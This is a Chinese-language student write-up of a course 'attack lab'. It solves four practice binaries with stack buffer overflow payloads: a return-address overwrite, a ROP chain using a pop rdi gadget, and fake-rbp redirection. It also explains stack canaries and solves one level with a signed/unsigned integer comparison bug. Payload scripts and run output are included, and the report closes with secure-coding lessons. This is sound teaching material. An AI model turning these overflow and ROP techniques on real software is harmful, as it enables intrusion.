



栈溢出攻击实验

题目解决思路

Problem 1:

- 分析:

- 漏洞函数位于 `0x401232`，使用 `strcpy` 将用户输入复制到仅 8 字节的栈缓冲区 (`rbp-0x8`)
- 无任何保护机制，可直接覆盖返回地址
- 目标函数 `0x401216` 会打印 "Yes! I like ICS!" 并调用 `exit(0)`

- 解决方案:

```
padding = b"A" * 8          # 填充缓冲区 (8 字节)
fake_rbp = b"B" * 8         # 覆盖 saved rbp (8 字节)
target = (0x401216).to_bytes(8, "little") # 目标函数地址
payload = padding + fake_rbp + target

with open("ans1.txt", "wb") as f:
    f.write(payload)
```

- 结果:

```
Do you like ICS?
Yes! I like ICS!
```

```
rose@rose-virtual-machine:~/桌面/attacklab$ ./problem1 ans1.txt
Do you like ICS?
Yes! I like ICS!
rose@rose-virtual-machine:~/桌面/attacklab$
```

Problem 2:

- 分析:

- 漏洞函数 `func` (0x401290) 使用 `memcpy` 复制 0x38 (56) 字节到仅 8 字节的缓冲区
- 开启了 NX 保护，栈不可执行，需要使用 ROP 技术
- 程序中提供了 `pop rdi; ret` gadget (0x4012c7)，可用于传递参数
- 目标函数 `func2` (0x401216) 需要参数等于 0x3f8 才能打印成功信息
- 直接跳转到 `0x40124c` (跳过参数检查) 可输出目标字符串

- **解决方案：**

```

padding = b"A" * 8
fake_rbp = b"B" * 8
pop_rdi = (0x4012c7).to_bytes(8, "little")    # pop rdi; ret gadget
arg = (0x3f8).to_bytes(8, "little")              # 参数 0x3f8
func2_success = (0x40124c).to_bytes(8, "little")  # 直接跳到打印成功位置
payload = padding + fake_rbp + pop_rdi + arg + func2_success

with open("ans2.txt", "wb") as f:
    f.write(payload)

```

- **结果：**

```

Do you like ICS?
Welcome to the second level!
Yes! I like ICS!

```

```

rose@rose-virtual-machine:~/桌面/attacklab$ ./problem2 ans2.txt
Do you like ICS?
Welcome to the second level!
Yes! I like ICS!
rose@rose-virtual-machine:~/桌面/attacklab$ 

```

Problem 3:

- **分析：**

- 漏洞函数 `func` (0x401355) 使用 `memcpy` 复制 0x40 (64) 字节到仅 32 字节的缓冲区 (`rbp-0x20`)
- 无 NX 保护，栈可执行
- 目标函数 `func1` (0x401216) 需要参数等于 0x72 (114) 才能打印 "Your lucky number is

114"

- 利用栈溢出覆盖返回地址，伪造 `rbp` 使其指向栈上我们控制的字符串

- **解决方案：**

```
# 字符串放在 payload 开头
msg = b"Your lucky number is 114\x00"
msg = msg.ljust(32, b"\x00") # 填充到 32 字节

# fake_rbp 让 rbp-0x40 指向栈上的字符串
# 缓冲区地址约 0x7fffffffdec0, fake_rbp = 0x7fffffffdf00
fake_rbp = (0x7fffffffdf00).to_bytes(8, "little")

# 跳转到 func1 中打印字符串的位置
target = (0x401274).to_bytes(8, "little")

payload = msg + fake_rbp + target

with open("ans3.txt", "wb") as f:
    f.write(payload)
```

- **结果** (在 gdb 下运行) :

```
Do you like ICS?
Now, say your lucky number is 114!
If you do that, I will give you great scores!
Your lucky number is 114
[Inferior 1 (process xxxx) exited normally]
```

```
rose@rose-virtual-machine:~/桌面/attacklab$ gdb ./problem3 -ex "run ans3.txt"
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04.2) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./problem3...
Starting program: /home/rose/桌面/attacklab/problem3 ans3.txt
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Do you like ICS?
Now, say your lucky number is 114!
If you do that, I will give you great scores!
Your lucky number is 114
[Inferior 1 (process 2782) exited normally]
(gdb) quit
rose@rose-virtual-machine:~/桌面/attacklab$
```

Problem 4:

- 分析：

- 本题开启了 **Canary 保护**，无法通过栈溢出攻击

- **Canary 保护机制：**

- Canary是一种栈保护机制，在函数开头将一个随机值放在栈上
- 函数返回前检查该值是否被篡改，如果被修改则调用 `__stack_chk_fail` 终止程序
- 这样即使攻击者能溢出缓冲区，也会破坏 canary 导致程序崩溃

- 在汇编代码中的体现：

1. func 函数中的 Canary 保护：

函数开头设置 Canary (地址 0x136c) :

```
136c: mov rax, QWORD PTR fs:0x28 ; 从 fs:0x28 读取 canary 值  
1375: mov QWORD PTR [rbp-0x8], rax ; 保存到栈上 rbp-0x8 位置
```

函数结尾检查 Canary (地址 0x140a) :

```
140a: mov rax, QWORD PTR [rbp-0x8] ; 读取栈上保存的 canary  
140e: sub rax, QWORD PTR fs:0x28 ; 与原始值比较  
1417: je 141e ; 相等则正常返回  
1419: call __stack_chk_fail ; 不等则程序终止
```

2. caesar_decrypt 函数中的 Canary 保护：

函数开头设置 Canary (地址 0x121c) :

```
121c: mov rax, QWORD PTR fs:0x28 ; 从 fs:0x28 读取 canary 值  
1225: mov QWORD PTR [rbp-0x8], rax ; 保存到栈上 rbp-0x8 位置
```

3. main 函数中的 Canary 保护：

函数开头设置 Canary (地址 0x142f) :

```
142f: mov rax, QWORD PTR fs:0x28 ; 从 fs:0x28 读取 canary 值  
1438: mov QWORD PTR [rbp-0x8], rax ; 保存到栈上 rbp-0x8 位置
```

解题思路：

- 题目提示"你真的需要写代码吗"——说明不需要攻击，只需输入正确的值
- 分析 func 函数逻辑：检查 money >= 0xffffffff
- 输入 -1，作为无符号整数是 4294967295 (0xFFFFFFFF)，满足条件

• 解决方案：

直接运行程序，前两次输入任意内容，第三次输入金额时输入 -1：

```
./problem4  
# 第一次输入：任意（名字）  
# 第二次输入：任意（do you like ics）  
# 第三次输入：-1（金额）
```

• 结果：

```
hi please tell me what is your name?  
lll  
hi! do you like ics?  
yes  
if you give me enough yuanshi,I will let you pass!  
-1  
your money is 4294967295  
great!I will give you great scores
```

```
rose@rose-virtual-machine:~/桌面/attacklab$ ./problem4  
hi please tell me what is your name?  
lll  
hi! do you like ics?  
yes  
if you give me enough yuanshi,I will let you pass!  
-1  
your money is 4294967295  
great!I will give you great scores  
rose@rose-virtual-machine:~/桌面/attacklab$
```

思考与总结

实验收获

通过本次实验，我对栈溢出攻击有了更深入的理解：

- 栈帧结构的理解**：了解了函数调用时栈上的布局（局部变量、saved rbp、返回地址），这是进行栈溢出攻击的基础。
- 不同保护机制的作用**：
 - 无保护**（Problem 1）：可以直接覆盖返回地址跳转到任意位置
 - NX 保护**（Problem 2）：栈不可执行，需要使用 ROP 技术借用程序中已有的代码片段
 - ASLR**（Problem 3）：地址随机化使得硬编码地址失效，需要在调试器中确定实际地址

- **Canary 保护** (Problem 4) : 有效防止栈溢出攻击，任何覆盖返回地址的尝试都会被检测到
3. **ROP 技术**: 学会了如何利用程序中的 gadget (如 `pop rdi; ret`) 构造攻击链，在 NX 保护下实现任意代码执行。
 4. **整数溢出问题**: Problem 4 展示了有符号整数与无符号整数比较的漏洞，`-1` 作为无符号数是最大值。

同时获得了安全启示

- 永远不要使用 `gets`、`strcpy` 等不检查边界的函数
- 应始终开启编译器的安全保护选项 (Canary、NX、ASLR、PIE 等)
- 在进行整数比较时要注意有符号和无符号的区别
- 安全编程需要多层防护，单一保护机制可能被绕过